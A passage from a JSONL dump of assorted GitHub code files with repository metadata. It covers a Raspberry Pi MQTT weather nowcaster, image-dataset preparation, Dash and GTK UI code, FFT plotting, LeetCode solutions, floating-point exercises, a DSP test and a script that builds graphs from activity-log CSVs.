pull_up_down=GPIO.PUD_UP)\n\t\tGPIO.add_event_detect(button_pin, GPIO.FALLING, callback=self.button_callback, bouncetime=200)\n\t\t#led config\n\t\tGPIO.setup(led_pin, GPIO.OUT)\n\t\tGPIO.output(led_pin, startValue)\n\n\tdef button_callback(self, channel):\n\t\tself.Value = not self.Value\n\t\t#print(\"Button at pin \", self.button_pin,\" pressed. Newvalue:\", self.Value)\n\t\tGPIO.output(self.led_pin, self.Value)\n\t\treturn\n\n\nclass DeviceData:\n\tled_pin = 33\n\tpicture_button_pin = 40\n\n\twebcam_switch:CustomPushButton=None\n\tautomatic_switch:CustomPushButton=None\n\n\tcamera = None \n\tclient = None\n\tcity = None\n\tmodel = None\n\tipBroker = None\n\tlast_frame = None\n\ttimer = -1\n\n\ndef setup_raspi():\n\tprint(\"setting raspberry pins..\")\n\tDeviceData.camera = cv2.VideoCapture(0)\n\n\tGPIO.setmode(GPIO.BOARD)\n\tGPIO.setup(DeviceData.led_pin ,GPIO.OUT)\n\tGPIO.setup(DeviceData.picture_button_pin, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\n\tDeviceData.webcam_switch = CustomPushButton(11,12,False)\n\tDeviceData.automatic_switch = CustomPushButton(15,16,True)\n\n\tglobal cameraButtonToggle\n\tcameraButtonToggle = False\n\tGPIO.add_event_detect(DeviceData.picture_button_pin, GPIO.FALLING, callback=camera_button_callback, bouncetime=200)\n\treturn\n\ndef start_camera_stream(): #different thread just to extract frames.\n\twhile True:\n\t\tif(DeviceData.camera is not None):\n\t\t\tret, frame = DeviceData.camera.read()\n\t\t\tif(ret):\n\t\t\t\tDeviceData.last_frame = cv2.rotate(frame, cv2.ROTATE_180)\n\n\ndef camera_button_callback(channel):\n\tif DeviceData.automatic_switch.Value:\n\t\treturn\n\telse:\n\t\tglobal cameraButtonToggle\n\t\tif cameraButtonToggle:\n\t\t\tprint(\"camera Button pressed!\")\n\t\t\telaborate_weather()\n\t\tcameraButtonToggle = not cameraButtonToggle\t#in order to resolve a mechanical problem :(\n\n\n#read the switch and decide where to take from the picture (webcam/dataset).\ndef get_picture():\n\tif DeviceData.webcam_switch.Value:\n\t\tpic = DeviceData.last_frame\n\t\tsave_last_picture(pic)\n\t\tpic = cv2.cvtColor(pic, cv2.COLOR_BGR2RGB)\n\telse:\n\t\tpic = get_picture_from_dataset()\n\treturn pic\n\ndef save_last_picture(picture):\n\tpath = os.path.join(path_to_folder,\"last_image.jpg\")\n\tif os.path.exists(path):\n\t\tos.remove(path)\n\twritingRes = cv2.imwrite(path, picture)\n\treturn\n\ndef get_picture_from_dataset():\n\tparentDir = os.path.join(path_to_folder,\"sky_pictures\")\n\tpic = os.path.join(parentDir,random.choice(os.listdir(parentDir)))\n\timg = cv2.imread(pic)\n\n\tsave_last_picture(img)\n\n\timg = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n\n\treturn img\n\ndef set_led_value(is_raining:bool):\n\tGPIO.output(DeviceData.led_pin, is_raining)\n\treturn\n\ndef set_raining_value(is_raining :bool, city: str, client):\n\t\"\"\"A value True means it is going to rain.\"\"\"\n\tif(is_raining):\n\t\t#print(\"It is going to rain.\")\n\t\ttopic = \"{}/nowcasting/1\".format(city)\n\telse:\n\t\t#print(\"no, it will not rain.\")\n\t\ttopic = \"{}/nowcasting/0\".format(city)\n\n\tif(rasp_build):\n\t\tset_led_value(is_raining)\n\tprint(\"publishing: \", topic, time.asctime(time.localtime(time.time())))\n\tclient.publish(topic)\n\n\ndef elaborate_weather():\n\tif DeviceData.client.is_connected():\n\t\timg = get_picture()\n\t\tresult = DeviceData.model.evaluatePicture(img)\n\t\tset_raining_value(result,DeviceData.city,DeviceData.client)\n\telse:\n\t\tprint(\"not connected. Impossible to send data.\")\n\treturn\n\ndef automatic_client():\n\tif(DeviceData.automatic_switch is not None and DeviceData.automatic_switch.Value):\n\t\telaborate_weather()\n\tthreading.Timer(DeviceData.timer, automatic_client).start()\n\n\ndef on_connect(client, userdata, flags, rc):\n\tprint(\"Connected with result code \"+str(rc))\n\n\n\ndef signal_handler(sig, frame):\n\n\tif DeviceData.camera:\n\t\tDeviceData.camera.release()\n\n\tGPIO.cleanup()\n\tsys.exit(0)\n\ndef pending():\n\twhile True:\n\t\tschedule.run_pending()\n\t\ttime.sleep(45)\n\n\ndef main_core(argv):\n\tprint(argv)\n\n\ttorch.set_num_threads(3) #setting 3 threads (out of 4)\n\n\tprint(\"loading model..\")\n\tmodel = torch.load(os.path.join(path_to_folder,\"modello\"))\n\tmodel.eval()\n\tDeviceData.model = model\n\tprint(\"model loaded.\")\n\n\tprint(\"starting mqtt client nowcaster..\")\n\n\tf = open(argv)\n\tconfig = json.load(f)\n\n\n\n\n\tDeviceData.city = config['City']\n\tDeviceData.timer = config['RoutinePeriod'] #in seconds\n\tDeviceData.ipBroker = config[\"IpBroker\"]\n\tprint(\"timer: \", DeviceData.timer)\n\n\tclient = mqtt.Client()\n\tDeviceData.client = client\n\tclient.on_connect=on_connect\n\tclient.will_set(\"{}/nowcasting/dead/\".format(DeviceData.city))\n\t\n\t# Pie non mi tirare dei cancheri ma per ora l'ho abbozzato così, sto pensando a qualcosa di intelligente\n\tschedule.every().day.at(\"00:01\").do(api_w.get_forecast_info, city=config[\"City\"], m_client=client)\n\tt_sched = threading.Thread(target=pending)\n\tt_sched.start()\n\n\tif rasp_build:\n\t\tthread.start_new_thread(start_camera_stream, ())\n\n\tautomatic_client()\n\tif(rasp_build):\n\t\tsetup_raspi()\n\n\tset_connection()\n\n\tsignal.signal(signal.SIGINT, signal_handler)\n\tsignal.pause()\n\tt_sched.join()\n\t\n\ndef set_connection():\n\ttry:\n\t\tclient = DeviceData.client\n\t\tclient.connect(DeviceData.ipBroker, 1883, 60)\n\t\tclient.loop_start() #start the loop\n\texcept:\n\t\tprint(\"Impossible to start a connection to \", DeviceData.ipBroker,\"; retrying in 5 seconds..\")\n\t\tthreading.Timer(5, set_connection).start()\n\t\treturn\n\treturn\n\n\n\nif __name__ == '__main__':\n\tif len(sys.argv) > 1:\n\t\targv=sys.argv[1]\n\t\tprint()\n\telse:\n\t\targv= os.path.join(path_to_folder,\"node_config.json\")\n\t\n\tmain_core(argv)","repo_name":"LeonardoZini/aiRRIGAZIONE","sub_path":"nowcaster/nowcasting_device.py","file_name":"nowcasting_device.py","file_ext":"py","file_size_in_byte":6271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34210778853","text":"import tensorflow as tf\nimport os\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\ntf.enable_eager_execution()\n\n\n'''\nPUT all the photos from DATASET TCGA folder mixed imgs and masks\nRUN this program\nIT WILL separate photos into 2 folders: Images and Masks\n\n'''\n\nIMG_HEIGHT = 128\nIMG_WIDTH = 128\nIMG_CHANNELS = 3\n\nDATASET_TRAINING_PATH = 'DATASET_Training/'\n\npath, dirs, files = next(os.walk(DATASET_TRAINING_PATH))\ndata = len(files)\nprint(\"\\n\")\nprint(\"FOUND: \", data, \"folders\")\nprint(\"\\n\")\n\nk = 0\n\nfor item in os.listdir(DATASET_TRAINING_PATH): # Iterate Over Each Image\n if \"mask\" in item:\n # print(item)\n data = cv2.imread(os.path.join(DATASET_TRAINING_PATH, item))\n data = cv2.resize(data, (IMG_WIDTH, IMG_HEIGHT))\n # Convert BGR to RGB\n data_RGB = cv2.cvtColor(data, cv2.COLOR_BGR2RGB)\n # plt.imshow(data_RGB)\n # plt.show()\n savepath = 'Masks/'\n cv2.imwrite(os.path.join(savepath, item), cv2.cvtColor(data_RGB, cv2.COLOR_RGB2BGR))\n else:\n # print(item)\n data = cv2.imread(os.path.join(DATASET_TRAINING_PATH, item))\n data = cv2.resize(data, (IMG_WIDTH, IMG_HEIGHT))\n # Convert BGR to RGB\n data_RGB = cv2.cvtColor(data, cv2.COLOR_BGR2RGB)\n # plt.imshow(data_RGB)\n # plt.show()\n SAVE_PATH = 'Images/'\n cv2.imwrite(os.path.join(SAVE_PATH, item), cv2.cvtColor(data_RGB, cv2.COLOR_RGB2BGR))\n\n k = k+1\n","repo_name":"bachtses/Brain-Tumor-Segmentation-TCGA","sub_path":"data_preparation.py","file_name":"data_preparation.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41293895722","text":"from dash import Dash, html, dcc\nfrom dash.dependencies import Input, Output\nfrom . import ids\n\ndef render(app: Dash) -> html.Div:\n all_islands = ['Torgersen', 'Biscoe', 'Dream']\n\n # implementing functionality to add all islands to dropdown\n @app.callback(\n Output(ids.ISLAND_DROPDOWN, \"value\"),\n Input(ids.SELECT_ALL_ISLANDS_BUTTON, \"n_clicks\")\n )\n def select_all_islands(_: int) -> list[str]:\n return all_islands\n \n return html.Div(\n children=[\n html.H6('Island'),\n dcc.Dropdown(\n id=ids.ISLAND_DROPDOWN,\n options=[{\"label\": island, \"value\": island} for island in all_islands],\n value=all_islands,\n multi=True, # option to select multiple options from dropdown\n ),\n html.Button(\n className=\"dropdown-button\",\n children=[\"Select All\"],\n id=ids.SELECT_ALL_ISLANDS_BUTTON\n )\n ]\n )","repo_name":"Maks1m-Se/initial_test","sub_path":"components/island_dropdown.py","file_name":"island_dropdown.py","file_ext":"py","file_size_in_byte":998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"44818861033","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport os\r\n\r\npath = \"[Ruta donde están los datos]\"\r\n\r\nfor i in os.listdir(path):\r\n NAME = \"data_txt/\"+i\r\n electrodos = ['a', 'b', '3', '4', 'c', 'd', 'e', '8', 'f', 'g', '11', 'h', '13',\r\n '14', 'i', 'j', '17', '18', 'k', '20', 'l', '22', '23', '24', '25',\r\n '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36',\r\n '37', '38', '39', 'm', '41', 'n', '43', '44', 'ñ', 'o', '47', '48',\r\n 'p', '50', 'q', '52', '53', 'r', 's', 'u', '57', '58', 'v', '60']\r\n file = pd.read_csv(NAME, skiprows=4, delimiter='\\t', names=['t'] + electrodos)\r\n tf = file['t'].iloc[-1]\r\n file['t'] /= tf\r\n file.iloc[::1000].plot(x='t', subplots=True, layout=(6, 10), title=NAME, ylabel=\"V($\\mu V$)\", sharey=True)\r\n\r\n n = len(file)\r\n\r\n Ts = (file['t'][1] - file['t'][0]) * tf / 1000\r\n volt = file['s']\r\n\r\n freq = np.fft.rfftfreq(n, d=Ts)\r\n freq_shift = np.fft.fftshift(freq)\r\n\r\n FFT = np.fft.rfft(volt) # no se por qué lo multiplico por Ts, de hecho yo creo que está mal\r\n FFT_shift = np.fft.fftshift(FFT) / n # normalización y shift de FFT\r\n plt.figure(NAME)\r\n plt.subplot(121)\r\n plt.plot(freq, np.abs(FFT))\r\n plt.xlim(0, 1000)\r\n plt.xlabel(\"f (Hz)\")\r\n plt.ylabel(\"I(u.a)\")\r\n plt.legend('h')\r\n plt.ylim(0, 2 * 10 ** 8)\r\n ####################\r\n\r\n volt = file['53']\r\n FFT = np.fft.rfft(volt) # no se por qué lo multiplico por Ts, de hecho yo creo que está mal\r\n FFT_shift = np.fft.fftshift(FFT) / n # normalización y shift de FFT\r\n\r\n # fft_high_pass=np.where(np.abs(freq)<=100, 0, fft) # filtro para frecuencias menores de 100\r\n plt.subplot(122)\r\n plt.plot(freq, np.abs(FFT))\r\n plt.xlim(0, 1000)\r\n plt.xlabel(\"f (Hz)\")\r\n plt.ylabel(\"I(u.a)\")\r\n plt.legend(['11'])\r\n plt.ylim(0, 2 * 10 ** 8)\r\n","repo_name":"PablodlFuente/TFG-Neuroelectronics","sub_path":"FFT_RAW_MEA/FFT_RAW_MEA.py","file_name":"FFT_RAW_MEA.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74235480854","text":"# coding: utf-8\n# 自分の得意な言語で\n# Let's チャレンジ!!\ndef judge():\n global count\n for j in range(6):\n if li[j] in wn:\n count += 1\n \n\n\nwinning_number = input()\nwn = winning_number.split()\n\npaper = int(input())\n\nfor i in range(paper):\n x = input()\n li = x.split()\n count = 0\n judge()\n print(count)\n\n\n\n","repo_name":"tech-keny/test-python","sub_path":"lottery.py","file_name":"lottery.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42417156326","text":"import os\n\nBASE_DIRS = os.path.dirname(__file__)\n\n#参数\noptions = {\n \"port\" : 8002,\n}\n\n\n\n#配置\nsettings = {\n \"static_path\": os.path.join(BASE_DIRS,\"static\"),\n \"template_path\":os.path.join(BASE_DIRS,\"templates\"),\n \"debug\":True, #1.自动重启2.取消缓存编译模板3.取消缓存静态文件的hash值4.提供追踪信息\n #\"autoreload\": True, #仅自动重启\n}","repo_name":"BrainPicker-L/tornado_chating","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"41502494601","text":"import math\nfrom Entorno.Simbolo import Simbolo\nfrom Entorno.Entorno import Environment\nfrom Abstract.Expresion import Expresion\nfrom Entorno.Valor import Value\nfrom Enum.tipoExpresion import tipoExpresion\n\nclass Potencia(Expresion):\n def __init__(self,left: Expresion,right:Expresion) -> None:\n super().__init__()\n self.izqExpresion = left\n self.derExpresion = right\n\n def compile(self, entorno: Environment) -> Value:\n \n self.izqExpresion.generator = self.generator\n self.derExpresion.generator = self.generator\n\n ValorIzq: Value = self.izqExpresion.compile(entorno)\n Valorder: Value = self.derExpresion.compile(entorno)\n \n if ValorIzq.type == tipoExpresion.INTEGER or ValorIzq.type == tipoExpresion.FLOAT:\n if Valorder.type == tipoExpresion.INTEGER or Valorder.type == tipoExpresion.FLOAT:\n tempCambioSimulado = self.generator.newTemp()\n\n self.generator.addExpression(tempCambioSimulado,\"P\",str(entorno.size),\"+\")\n\n nuevoTmp = self.generator.newTemp()\n self.generator.addExpression(nuevoTmp,tempCambioSimulado,str(1),\"+\")\n self.generator.addSetStack(nuevoTmp,ValorIzq.getValue())\n \n nuevoTmp = self.generator.newTemp()\n self.generator.addExpression(nuevoTmp,tempCambioSimulado,str(2),\"+\")\n self.generator.addSetStack(nuevoTmp,Valorder.getValue())\n\n ##LLamada de la funcion\n funcG: Simbolo = entorno.getFunction(\"potenciaNativas\")\n self.generator.addNextStack(str(entorno.size))\n self.generator.addCallFunc(\"potenciaNativas\")\n #Temporal para el retorno\n tmpReturn = self.generator.newTemp()\n self.generator.addGetStack(tmpReturn,\"P\")\n self.generator.addBackStack(str(entorno.size))\n\n \n return Value(str(tmpReturn),True,ValorIzq.type)\n\n if ValorIzq.type == tipoExpresion.STRING:\n if Valorder.type == tipoExpresion.INTEGER:\n tempCambioSimulado = self.generator.newTemp()\n\n self.generator.addExpression(tempCambioSimulado,\"P\",str(entorno.size),\"+\")\n\n nuevoTmp = self.generator.newTemp()\n self.generator.addExpression(nuevoTmp,tempCambioSimulado,str(1),\"+\")\n self.generator.addSetStack(nuevoTmp,ValorIzq.getValue())\n \n nuevoTmp = self.generator.newTemp()\n self.generator.addExpression(nuevoTmp,tempCambioSimulado,str(2),\"+\")\n self.generator.addSetStack(nuevoTmp,Valorder.getValue())\n\n ##LLamada de la funcion\n funcG: Simbolo = entorno.getFunction(\"potenciaStringNativas\")\n self.generator.addNextStack(str(entorno.size))\n self.generator.addCallFunc(\"potenciaStringNativas\")\n #Temporal para el retorno\n tmpReturn = self.generator.newTemp()\n self.generator.addGetStack(tmpReturn,\"P\")\n self.generator.addBackStack(str(entorno.size))\n\n \n return Value(str(tmpReturn),True,funcG.getType())\n\n\n \n","repo_name":"Macario12/OLC2-201905837_Proyecto2","sub_path":"Backend/Expresion/Aritmeticas/Potencia.py","file_name":"Potencia.py","file_ext":"py","file_size_in_byte":3275,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73533237973","text":"# coding=utf-8\nfrom datetime import datetime\nfrom blueman.Constants import WEBSITE, VERSION\n\nimport gi\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\n\nclass ErrorDialog(Gtk.MessageDialog):\n def __init__(self, markup, secondary_markup=None, excp=None, icon_name=\"dialog-error\",\n buttons=Gtk.ButtonsType.CLOSE, **kwargs):\n super().__init__(name=\"ErrorDialog\", icon_name=icon_name, buttons=buttons,\n type=Gtk.MessageType.ERROR, **kwargs)\n\n self.set_markup(markup)\n\n if secondary_markup:\n self.format_secondary_markup(secondary_markup)\n\n if excp:\n message_box = self.get_message_area()\n\n label_expander = Gtk.Label(label=\"Exception\", use_markup=True, visible=True)\n\n excp_label = Gtk.Label(str(excp), selectable=True, visible=True)\n\n expander = Gtk.Expander(label_widget=label_expander, visible=True)\n expander.add(excp_label)\n\n message_box.pack_start(expander, False, False, 10)\n\n\ndef show_about_dialog(app_name, run=True, parent=None):\n about = Gtk.AboutDialog()\n about.set_transient_for(parent)\n about.set_name(app_name)\n about.set_version(VERSION)\n about.set_translator_credits(_(\"translator-credits\"))\n about.set_copyright('Copyright © 2008 Valmantas Palikša\\n'\n 'Copyright © 2008 Tadas Dailyda\\n'\n 'Copyright © 2008 - %s blueman project' % datetime.now().year\n )\n about.set_comments(_('Blueman is a GTK+ Bluetooth manager'))\n about.set_website(WEBSITE)\n about.set_website_label(WEBSITE)\n about.set_icon_name('blueman')\n about.set_logo_icon_name('blueman')\n about.set_authors(['Valmantas Palikša ',\n 'Tadas Dailyda ',\n '%s/graphs/contributors' % WEBSITE\n ])\n if run:\n about.run()\n about.destroy()\n else:\n return about\n","repo_name":"Caesar-github/blueman","sub_path":"blueman/gui/CommonUi.py","file_name":"CommonUi.py","file_ext":"py","file_size_in_byte":2036,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"28878784590","text":"# Storing results from a poll in a dictionary\nfavorite_languages = {\n 'jen': 'python',\n 'sarah': 'c',\n 'edward': 'rust',\n 'phil': 'python',\n}\n\nlanguage = favorite_languages['sarah'].title()\nprint(f\"Sarah's favorite language is {language}.\")\n\n# Looping through all key-value pairs in a dictionary\nfor name, language in favorite_languages.items():\n print(f\"\\n{name.title()}'s favorite language is {language.title()}.\")\n\n# Looping through all the keys in a dictionary\nfor name in favorite_languages.keys():\n print(f\"\\n{name.title()}\")\n\n\n# Accessing the value associated with the desired key.\nfriends = ['phil', 'sarah']\nfor name in favorite_languages.keys():\n print(f\"\\tHi {name.title()}.\")\n\n if name in friends:\n language = favorite_languages[name].title()\n print(f\"\\t{name.title()}, I see you love {language}!\")\n\n# Using the keys() method to find out if a particular person was polled.\nif 'erin' not in favorite_languages.keys():\n print(\"\\nErin, please take the poll!\")\n\n# Using the sorted() function to get a copy of the keys in order\nfor name in sorted(favorite_languages.keys()):\n print(f\"\\n\\t{name.title()}, thank you for taking the poll.\")\n\n# Looping through all values in a dictionary\nprint(\"\\nThe following languages has been mentioned:\")\nfor language in favorite_languages.values():\n print(language.title())\n\n# Looping through all values in a dictionary without repetition\nprint(\"\\tThe following languages has been mentioned:\")\nfor language in set(favorite_languages.values()):\n print(f\"\\t{language.title()}\")\n","repo_name":"jbellma/pythonpracticeCode","sub_path":"python-crash-course/basics/favorite_languages.py","file_name":"favorite_languages.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70118646613","text":"\n# Link - https://leetcode.com/problems/course-schedule-ii/\n\n# Space: O(n + E) \n# Time: O(n + E)\n\n# n = numCourses, E = sum(len(prerequisites[i] for each i))\n\n# DFS - Topological Sort\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n \n self.hasCycle = False\n \n graph = defaultdict(list)\n for course, prereq in prerequisites:\n graph[course].append(prereq)\n \n topsort, color = [], [\"white\"]*numCourses\n \n def dfs(course):\n \n color[course] = \"gray\"\n \n for neighbor in graph[course]:\n if color[neighbor] == \"gray\":\n self.hasCycle = True\n if color[neighbor] == \"white\":\n dfs(neighbor)\n \n topsort.append(course)\n color[course] = \"black\"\n \n for course in range(numCourses):\n if color[course] == \"white\":\n dfs(course)\n \n return [] if self.hasCycle else topsort\n \n\n# BFS - Topological Sort\nclass Solution:\n def findOrder(self, numCourses: int, prerequisites: List[List[int]]) -> List[int]:\n \n graph, outgoing = defaultdict(list), defaultdict(int)\n for course, prereq in prerequisites:\n graph[prereq].append(course)\n outgoing[course] += 1\n \n q = deque([course for course in range(numCourses) if outgoing[course] == 0])\n count, topsort = 0, []\n \n while q:\n course = q.popleft()\n topsort.append(course)\n count += 1\n \n for neighbor in graph[course]:\n outgoing[neighbor] -= 1\n if outgoing[neighbor] == 0:\n q.append(neighbor)\n \n return topsort if count == numCourses else []","repo_name":"dryeab/competitive-programming","sub_path":"Leetcode/210. Course Schedule II.py","file_name":"210. Course Schedule II.py","file_ext":"py","file_size_in_byte":1892,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"70777049173","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n#------------------------------------------\n# Calculs avec les réels \n#------------------------------------------\n\n# Module mathématique intégrer sans avoir besoin de math.cos\nfrom math import *\n\n# Calculer avec les flottants\n# Tronquer\nprecision = 6 # Nombre de décimales conserver\ndef tronquer(x):\n n = floor(log(x,10)) # Exposant\n m = floor( x * 10 ** (precision-1 - n)) # Mantisse\n return m * 10 ** (-precision+1+n) # Nombre tronquer\n \n# Exemple\nx = 1.23456789\nprint(x,\"tronquer devient : \", tronquer(x))\nx = 123.456789\nprint(x,\"tronquer devient : \", tronquer(x))\nx = 123456.789\nprint(x,\"tronquer devient : \", tronquer(x))\n\n\n\n\n# Calculer avec les flottants\n# Pb 1 : absorption\n\nprint('Absorption', tronquer(1234.56+0.007))\n\n\n# Calculer avec les flottants\n# Pb 2 : élimination\n\nx = 1234.8777\ny = 1212.2222\ndifference = tronquer(tronquer(x)-tronquer(y))\nprint(\"Elimination %.4f\" %difference)\n\n\n# Calculer avec les flottants\n# Pb 3 : conversion binaire <-> décimale\nsomme = 0\nfor i in range(10): somme = somme + 0.1\nprint(somme)\n\n0.1 + 0.1 == 0.2\n0.1 + 0.2 == 0.3\n\nx = 0.2\nprint(\"0.2 en Python = %.25f\" %x)\n\n\n# Somme des inverse des carrés\n# Précision maximale\ndef somme_inverse_carres_prec(n):\n somme = 0\n for i in range(1,n+1):\n somme = somme + 1/(i*i)\n return somme\n\n# Somme des inverse des carrés\n# Tronquer et dans l'ordre\ndef somme_inverse_carres_tronq(n):\n somme = 0\n for i in range(1,n+1):\n somme = tronquer(somme + tronquer(1/(i*i)))\n return somme\n\n# Somme des inverse des carrés\n# Tronquer et ordre inverse\ndef somme_inverse_carres_tronq_inv(n):\n somme = 0\n for i in range(n,0,-1):\n somme = tronquer(somme + tronquer(1/(i*i)))\n return somme\n\nn = 100000\nprint(n, pi**2/6, somme_inverse_carres_prec(n), somme_inverse_carres_tronq(n), somme_inverse_carres_tronq_inv(n))\n","repo_name":"exo7math/cours-exo7","sub_path":"algo/algos/reels.py","file_name":"reels.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"fr","doc_type":"code","stars":37,"dataset":"github-code","pt":"67"} +{"seq_id":"13626269387","text":"# import fx2lp\nfrom bridges.ftdi.adapters.micropython import machine\nfrom bridges.ftdi.controllers.i2c import I2cController\nfrom sigma.bus import adapters\nfrom sigma.sigma_dsp.adau.adau1401 import ADAU1401\n\n\nwith_hardware_device = True\n\nif with_hardware_device:\n ctrl = I2cController()\n _machine = ctrl.get_gpio()\n\n _i2c = ctrl.I2C()\n\n _pin_reset = _machine.Pin('ADBUS4', mode = machine.Pin.OUT)\n _pin_reset.high()\n\nelse:\n _i2c = _pin_reset = None # using None for testing without actual hardware device.\n\nbus = adapters.I2C(_i2c)\ndsp = ADAU1401(bus, pin_reset = _pin_reset)\n\ndsp.read_all_registers()\ndsp.map.print()\n\ndsp._read_register_by_name('DSP Core Control').print()\n\ndsp.adc.mute(True)\ndsp.adc.mute(False)\ndsp.dac.mute(True)\ndsp.dac.mute(False)\ndsp.mute(True)\ndsp.mute(False)\n\ndsp.dac.power_down(True)\ndsp.dac.power_down(False)\n\ndsp.reset()\ndsp._read_register_by_name('DSP Core Control').print()\n","repo_name":"Wei1234c/SigmaDSP","sub_path":"codes/test/PC/test_adau1401_pc.py","file_name":"test_adau1401_pc.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"67"} +{"seq_id":"40713719212","text":"months = [\"January\", \"February\", \"March\", \"April\", \"May\", \"June\", \"July\", \"August\",\"September\", \"October\", \"November\", \"December\"]\nfor i in months:\n if i[0] == \"J\":\n print(i)\n\nfor i in range(100):\n if i % 2 == 0 and i % 5 == 0:\n print(i)\n\nhorton = \"A person's a person, no matter how small.\"\nvowels = \"aeiouAEIOU\"\n\nfor i in horton:\n if i in vowels:\n print(i) ","repo_name":"DantheOPMan/cs-class","sub_path":"CS/Python Class/Homework/HW5.py","file_name":"HW5.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"46077240338","text":"import datetime\nimport os\nimport csv\nfrom tqdm import tqdm\nimport networkx as nx\nimport time\nimport matplotlib.pyplot as plt\n\ndef read_csv(csv_name,dir_path):\n with open(os.path.join(dir_path, csv_name), 'r') as file:\n print(\"...\"+csv_name+\"...\")\n read = csv.reader(file)\n next(read)\n for i in tqdm(read):\n print(i)\n\ndef select_csv(csv_name,dir_path,start_time,end_time,output_path,row_type):\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n with open(os.path.join(output_path, csv_name), 'w') as write:\n writer = csv.writer(write)\n writer.writerow(row_type)\n with open(os.path.join(dir_path, csv_name), 'r') as file:\n print(\"...\"+csv_name+\"...\")\n start = datetime.datetime.strptime(start_time, '%m/%d/%Y %H:%M:%S')\n end = datetime.datetime.strptime(end_time,'%m/%d/%Y %H:%M:%S')\n read = csv.reader(file)\n next(read)\n for i in tqdm(read):\n temp = datetime.datetime.strptime(i[1], '%m/%d/%Y %H:%M:%S')\n if start <= temp and temp <= end:\n writer.writerow(i)\n write.close()\n\ndef prase_csv(csv_name,dir_path,row_type):\n with open(os.path.join(dir_path, csv_name), 'r') as file:\n print(\"...\"+csv_name+\"...\")\n # id,date,user,pc,activity\n # {Q4D5-W4HH44UC-5188LWZK},01/02/2010 02:24:51,JBI1134,PC-0168,Logon\n # {G7V0-S4TP95SA-9203AOGR},01/02/2010 02:38:28,JBI1134,PC-0168,Logoff\n read = csv.reader(file)\n next(read)\n edge_list = []\n for i in tqdm(read):\n if i != []:\n i = dict(zip(row_type,i))\n timestamp = time.mktime(time.strptime(i['date'], '%m/%d/%Y %H:%M:%S'))\n i['timestamp'] = timestamp\n edge_list.append(i)\n return edge_list\n\ndef init_edge(edge_list,csv_name):\n all_edges = []\n for row in edge_list:\n att = dict(zip(node_type[csv_name][\"att\"], [row[j] for j in node_type[csv_name][\"att\"]]))\n if csv_name == 'device.csv':\n start,end = row[node_type[csv_name][\"node\"][0]],row[node_type[csv_name][\"node\"][1]].split(';')\n for end_iter in end:\n all_edges.append((start, end_iter,att))\n else:\n start,end = row[node_type[csv_name][\"node\"][0]],row[node_type[csv_name][\"node\"][1]]\n all_edges.append((start, end, att))\n return all_edges\n\nclass graph:\n def __init__(self):\n self.graph = self.init_graph()\n\n def init_graph(self):\n graph = nx.MultiGraph()\n return graph\n\n def add_edges(self,all_edges):\n self.graph.add_edges_from(all_edges)\n\nif __name__ == '__main__':\n dir_path = r\"../our_data/r_part\"\n row_type = {\n \"logon.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"activate\"],\n \"device.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"file_tree\", \"activate\"],\n \"http.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"url\",\"content\"],\n # \"email.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"to\", \"cc\",\"bcc\",\"from\",\"activity\", \"size\", \"attachments\", \"content\"],\n \"file.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"filename\", \"activity\", \"to_removable_media\",\"from_removable_media\", \"content\",\"timestamp\"]\n }\n node_type = {\n \"logon.csv\": {\"node\": [\"user\", \"pc\"], \"att\": [\"activate\", \"timestamp\",\"edge_id\"]},\n \"device.csv\": {\"node\": [\"pc\", \"file_tree\"], \"att\": [\"activate\", \"timestamp\",\"edge_id\"]},\n \"http.csv\": {\"node\": [\"pc\", \"url\"], \"att\": [\"content\", \"timestamp\",\"edge_id\"]},\n # \"email.csv\": {\"node\": [\"from\", \"to\"], \"att\": [\"content\", \"timestamp\"]},\n # \"email.csv\": [\"edge_id\", \"date\", \"user\", \"pc\", \"to\", \"cc\", \"bcc\", \"from\", \"activity\", \"size\", \"attachments\",\n # \"content\"],\n \"file.csv\": {\"node\": [\"pc\", \"filename\"], \"att\": [\"activity\", \"to_removable_media\",\"from_removable_media\",\"content\",\"edge_id\",\"timestamp\"]},\n }\n # read_csv(\"device.csv\",r\"../our_data/r_part\")\n # for csv_name in row_type:\n # select_csv(csv_name, r\"G:\\r5.1\", \"12/03/2010 06:05:31\", \"12/08/2010 